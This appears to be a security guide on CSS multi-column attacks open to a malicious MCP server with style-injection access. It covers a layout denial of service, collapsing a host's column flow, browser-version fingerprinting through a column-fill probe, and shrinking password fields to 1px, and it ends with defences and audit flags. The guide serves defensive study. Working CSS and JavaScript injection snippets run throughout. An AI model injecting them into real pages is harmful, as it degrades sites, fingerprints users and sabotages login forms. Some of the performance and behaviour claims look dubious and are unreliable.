Security Guide
MCP server CSS multi-column layout security — column-count:999 layout DoS, column-span:all flow collapse, column-fill browser version fingerprint, columns:1px input width collapse
CSS multi-column layout properties (Chrome 4+, Firefox 52+, Safari 3.1+) divide content into newspaper-style columns. For MCP servers with CSS injection capability, these properties create four attack surfaces: forcing the browser to compute 999 layout columns for a synchronous layout denial of service; injecting a spanning element that collapses a host's multi-column flow; probing column-fill boundary behavior to discriminate browser version ranges; and collapsing a password input's visible width to 1px while leaving it functional.
CSS multi-column layout — property overview
The CSS multi-column module introduces column-count, column-width, columns (shorthand), column-gap, column-rule, column-span, and column-fill. A multi-column container distributes its content into column boxes laid out side-by-side within the container's inline axis. Column boxes have equal width and gap spacing. Content flows from the bottom of one column to the top of the next. column-span:all on a descendant element causes it to span all columns, breaking the column flow at that point. column-fill:auto fills columns sequentially (first column fills before starting the next), while column-fill:balance (the default) distributes content to equalise column heights.
Attack 1: column-count:999 synchronous layout DoS
Setting an extremely large column-count on a content container forces the browser to compute 999 layout column boxes, most of which will be empty if the content does not fill that many columns. The computation overhead — determining column widths, laying out content flow, calculating fragment boundaries — is synchronous with the next offsetWidth or geometry read:
/* MCP server: inject extreme column-count on host content containers */
.article-body, .main-content, .content-area, main, [role="main"] {
column-count: 999 !important;
column-width: 200px !important;
/* Browser must now compute layout for up to 999 column boxes.
The actual content fits in far fewer columns, but the browser must
still compute the available column geometry for all 999.
The cost manifests on the next layout geometry read:
- element.offsetWidth triggers synchronous layout
- element.getBoundingClientRect() triggers synchronous layout
- Any JS that reads layout metrics after CSS mutation fires
On a page with a 200px column-width and a 1920px wide container:
The browser determines actual column count = min(999, floor(1920/200)) = 9
But the computation of "min(999, floor(1920/200))" involves checking
all 999 columns against the available container width.
For a container width of 10px (narrow mobile or nested context):
999 × max(200px, 10px/999) = extreme fragmentation computation.
Impact: read of offsetWidth after MCP injection takes 200-500ms on mobile.
Any JS that calls offsetWidth in an event handler (e.g., for a dynamic
layout, a resize observer, a scroll handler) blocks the main thread
for that duration on each invocation. */
}
Interaction with ResizeObserver. A ResizeObserver on a column-count:999 element fires on every resize event, triggering synchronous layout for the 999-column computation each time. On mobile browsers where the viewport height changes during scroll (address bar hide/show), this creates a resize loop where each viewport change triggers the expensive multi-column recomputation.
Attack 2: column-span:all injection collapses host multi-column flow
The column-span:all property causes an element to span all columns of its nearest multi-column ancestor, breaking the multi-column flow at that point. All content before the spanning element flows in columns; all content after the spanning element reflows into a new single-column region. An MCP server can inject a spanning element — or inject column-span:all via a stylesheet — into a non-spanning position inside a host multi-column layout, collapsing the host's column structure:
/* MCP server: inject a column-span:all element inside host multi-column layout */
/* Approach 1: inject via CSS on an existing host element */
.article-body .ad-placeholder,
.article-body aside,
.article-body .mcp-widget {
column-span: all !important;
/* The host has article-body as a 3-column layout.
The MCP widget is inside article-body.
With column-span:all, the MCP widget becomes a spanning element.
Content before the widget flows in 3 columns as intended.
Content AFTER the widget is forced out of the multi-column layout —
it reflows as if column-count were 1.
The host's 3-column layout is effectively destroyed after the injection point. */
}
/* Approach 2: inject a new spanning element into the host multi-column container */
const mcpSpanner = document.createElement('div');
mcpSpanner.style.cssText = `
column-span: all;
height: 0;
overflow: hidden;
`;
/* Insert at the beginning of the multi-column container */
const multiColContainer = document.querySelector('.article-body');
if (multiColContainer) {
multiColContainer.insertBefore(mcpSpanner, multiColContainer.firstChild);
}
/* Now ALL content inside .article-body is in the "after the spanning element"
region — none of it flows in columns. The entire 3-column layout collapses
to single-column, overflowing any fixed-height column containers. */
/* The injected element has height:0 and overflow:hidden — it is invisible.
The only visible effect is the column layout collapse.
Appears as a CSS rendering bug. */
Attack 3: column-fill boundary behavior browser version fingerprint
The CSS specification for column-fill:auto in constrained-height multi-column containers changed between browser versions — older Chrome (pre-99) and Safari (pre-15) handle the edge case where column content exactly fills the container height differently from newer versions. An MCP server can probe this boundary condition to fingerprint browser version ranges without any explicit browser API:
/* MCP server: probe column-fill boundary behavior for browser version detection */
const probe = document.createElement('div');
probe.style.cssText = `
position: absolute;
top: -9999px;
width: 100px;
height: 100px; /* constrained height */
column-count: 2;
column-fill: auto; /* fill first column before starting second */
`;
const content = document.createElement('p');
content.style.cssText = 'margin:0;line-height:100px;height:100px;';
content.textContent = 'probe';
probe.appendChild(content);
document.body.appendChild(probe);
/* Read column layout geometry */
const colBoxes = probe.getClientRects();
/* In Chrome pre-99 and Safari pre-15:
column-fill:auto with exact-height content may create 2 columns even if
content fits in 1 column — boundary condition where "auto" and "balance"
produce identical output.
In Chrome 99+ and Safari 15+:
column-fill:auto correctly fills first column only when content fits.
Probe result:
- 1 column created → newer Chrome/Safari (99+/15+)
- 2 columns created → older Chrome/Safari (pre-99/pre-15) or Firefox
Combine with column-fill:balance behavior probe for further discrimination:
Firefox historically had different default column-fill from Chrome.
Three-way discrimination: Chrome 99+, Chrome pre-99, Firefox.
No user permission required. No network request. */
document.body.removeChild(probe);
JavaScript-free variant. The column-fill fingerprint can also be performed via a pure CSS timing attack: inject a @keyframes animation that fires at different times depending on how many columns were created, and probe the animation state to infer the column count — all without any JavaScript read of layout geometry. This variant bypasses sandboxes that block getComputedStyle() and getBoundingClientRect().
Attack 4: columns:1 1px collapses password input to 1px wide
The columns shorthand sets both column-count and column-width in a single declaration. When applied to the parent element of a password input, columns:1 1px forces the parent into a 1-column layout with a column width of 1px — which in turn constrains the available inline space for child elements, collapsing the password input's rendered width to 1px. The input remains fully functional: it accepts keystrokes, stores the password value, and submits correctly — but is visually collapsed to a hairline:
/* MCP server: collapse password input visibility via parent multi-column */
.password-field-wrapper,
.input-group:has(input[type="password"]),
form .field-container {
columns: 1 1px !important;
overflow: hidden !important;
}
/* Effect on a standard password field:
- The parent container is forced to a 1-column layout with 1px column width
- The input[type="password"] inside it inherits the constrained width
- Browser renders the input at 1px wide (or its min-width if one is set)
- The input is technically present, focusable, and accepts keyboard input
- Users cannot see the password field to click/tap it on mobile
- On desktop, the 1px sliver may be hidden by adjacent elements
Unlike width:0 or display:none — which would prevent the input from
being submitted — the input's visibility:visible and pointer-events:auto
remain intact. The input is only visually collapsed, not structurally removed.
An MCP server can use this to selectively collapse confirmation password
fields while leaving the primary password field visible — the user fills
the primary field but cannot see the confirmation field to match it,
causing "passwords do not match" errors without obvious cause. */
/* Detecting the attack:
document.querySelector('input[type=password]').offsetWidth
Returns ~1 when this injection is active.
Normal password fields return 200-400px depending on container. */
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| column-count:999 layout DoS | CSS injection + host JS reads layout metrics after mutation | Forces 999-column computation on next offsetWidth/getBoundingClientRect read, blocking the main thread for 200–500ms on mobile; amplified by ResizeObserver and scroll handlers | HIGH |
| column-span:all host multi-column collapse | CSS injection or DOM access + host uses multi-column layout | Injected spanning element collapses all content after the injection point out of the host's multi-column flow, breaking the host's intended layout for all subsequent content | MEDIUM |
| column-fill boundary browser version fingerprint | CSS injection + DOM probe element creation | Discriminates Chrome pre/post-99 and Safari pre/post-15 via column-fill:auto boundary behavior — three-way browser version discrimination without explicit browser API access | MEDIUM |
| columns:1 1px password input collapse | CSS injection + host has password input with wrapper element | Collapses password input visible width to 1px via parent column constraint while input remains functionally active, making the confirmation password field invisible to the user | HIGH |
Defences
- CSP
style-srcis the primary defence — prevents MCP injection of stylesheets that setcolumn-count,column-span,column-fill, orcolumnson host elements. - Monitor offsetWidth reads in performance traces. Abnormally long layout durations (>100ms) during normal page interactions may indicate a high-column-count injection. Check for
column-countvalues above 10 in MCP-injected stylesheets. - Validate password input dimensions. A password input with
offsetWidth < 20is a signal of width-collapse injection. Add a validation check in the form submission handler:if (passwordInput.offsetWidth < 20) { /* flag as potential injection */ } - Sanitise MCP DOM insertions for spanning elements. Any DOM insertion by MCP code inside a multi-column container should be checked for
column-span:allin the element's computed styles or inline styles before insertion is permitted. - SkillAudit flags:
column-countvalues above 50; anycolumn-span:allapplied via MCP stylesheet to non-advertised spanning elements;columnsshorthand applied to parent elements of form inputs with a column-width below 50px;column-fillprobing patterns using off-screen probe elements with constrained heights.
SkillAudit findings for this attack surface
Related: CSS grid layout security covers similar layout-computation DoS techniques using explicit grid tracks. CSS contain security covers how layout containment can mitigate layout-escaping MCP injections.